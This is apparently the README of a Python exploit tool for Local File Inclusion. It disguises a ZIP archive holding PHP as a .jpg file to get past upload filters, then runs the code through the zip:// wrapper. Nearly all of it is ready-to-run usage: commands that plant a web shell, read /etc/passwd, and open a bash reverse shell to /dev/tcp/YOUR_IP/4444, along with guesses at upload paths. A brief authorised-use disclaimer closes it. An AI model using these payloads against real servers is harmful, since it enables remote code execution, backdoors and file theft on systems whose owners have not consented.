A Python tool to exploit LFI (Local File Inclusion) vulnerabilities using ZIP files with .jpg extension to bypass file filters.
This tool automates the LFI exploitation process by:
- Creating a malicious PHP file
- Compressing it into a ZIP file
- Renaming it with a
.jpgextension to bypass filters - Accessing the payload via the
zip://wrapper in LFI attacks
- Python 3.6+
requestsmodule
pip3 install requestspython3 exploit.py [OPTIONS]| Option | Description |
|---|---|
-u, --url |
Target URL |
-p, --parameter |
LFI parameter name (without ? or =) |
-c, --code |
PHP code to inject |
-f, --file |
PHP file to use instead of inline code |
--php-name |
PHP file name (default: a.php) |
--jpg-name |
Custom name for JPG file |
--upload-path |
Upload path on target server (default: tmp/upload) |
--payload-name |
Payload file name inside zip |
-n, --upload-name |
Uploaded file name for access |
--create-only |
Only create payload files |
--access-only |
Only access existing payload |
-v, --verbose |
Verbose output |
# Basic exploitation with phpinfo()
python3 exploit.py -u http://target.com/page.php -p page -c '<?php phpinfo(); ?>'
# Interactive shell
python3 exploit.py -u http://target.com/page.php -p page -c '<?php system($_GET["cmd"]); ?>'
# File reading
python3 exploit.py -u http://target.com/page.php -p page -c '<?php echo file_get_contents("/etc/passwd"); ?>'# Create files without exploiting
python3 exploit.py --create-only -c '<?php system($_GET["cmd"]); ?>' --php-name shell.php --jpg-name backdoor
# Use existing PHP file
python3 exploit.py --create-only -f my_payload.php --jpg-name custom_name# Access already uploaded file
python3 exploit.py -u http://target.com/page.php -p page --access-only -n uploaded_file.jpg --payload-name shell.php
# With custom upload path
python3 exploit.py -u http://target.com/page.php -p page --access-only -n backdoor.jpg --upload-path /var/www/uploads --payload-name shell.php# With custom filename
python3 exploit.py -u http://target.com/vulnerable.php -p file -c '<?php echo "Pwned!"; ?>' --php-name pwn.php --jpg-name innocent_imageLFI-zip-exploit/
├── exploit.py # Main script
├── README.md # This file
└── temp/ # Temporary folder (auto-created)
├── a.php # Generated PHP file
├── a.zip # ZIP archive
└── a.jpg # Final file with .jpg extension
- PHP Payload Creation: Malicious PHP code is written to a file
- ZIP Compression: The PHP file is compressed into a ZIP archive
- JPG Renaming: The ZIP archive is renamed with
.jpgextension to bypass filters - Upload: The
.jpgfile must be uploaded to the target server - LFI Exploitation: Using the
zip://wrapper to access PHP inside the archive
http://target.com/page.php?parameter=zip://path/to/uploaded/file.jpg%23payload.php
Where:
path/to/uploaded/file.jpgis the path to the renamed ZIP file%23is the URL encoding of#payload.phpis the PHP file name inside the archive
python3 exploit.py -u http://target.com/page.php -p file -c '<?php phpinfo(); ?>'python3 exploit.py -u http://target.com/page.php -p file -c '<?php echo file_get_contents("/etc/passwd"); ?>'python3 exploit.py -u http://target.com/page.php -p file -c '<?php system($_GET["cmd"]); ?>'
# Then access: http://target.com/page.php?file=zip://tmp/upload/a.jpg%23a.php&cmd=lspython3 exploit.py -u http://target.com/page.php -p file -c '<?php shell_exec("bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"); ?>'- The tool automatically renames to
.jpgto bypass extension filters - For other allowed extensions, use
--jpg-namewith desired extension
- Modify
--upload-pathaccording to target server configuration - Common paths:
tmp/upload,/var/www/uploads,uploads,files
- Some servers limit upload sizes
- Compressed ZIP is usually smaller than original PHP
- Use only on your own systems or with explicit authorization
- Respect local and international laws
- Document your tests as part of security audits
Use the -v option for more information:
python3 exploit.py -v -u http://target.com/page.php -p file -c '<?php phpinfo(); ?>'Contributions are welcome! Feel free to:
- Report bugs
- Suggest improvements
- Add new features
This project is for educational purposes. Use responsibly and legally.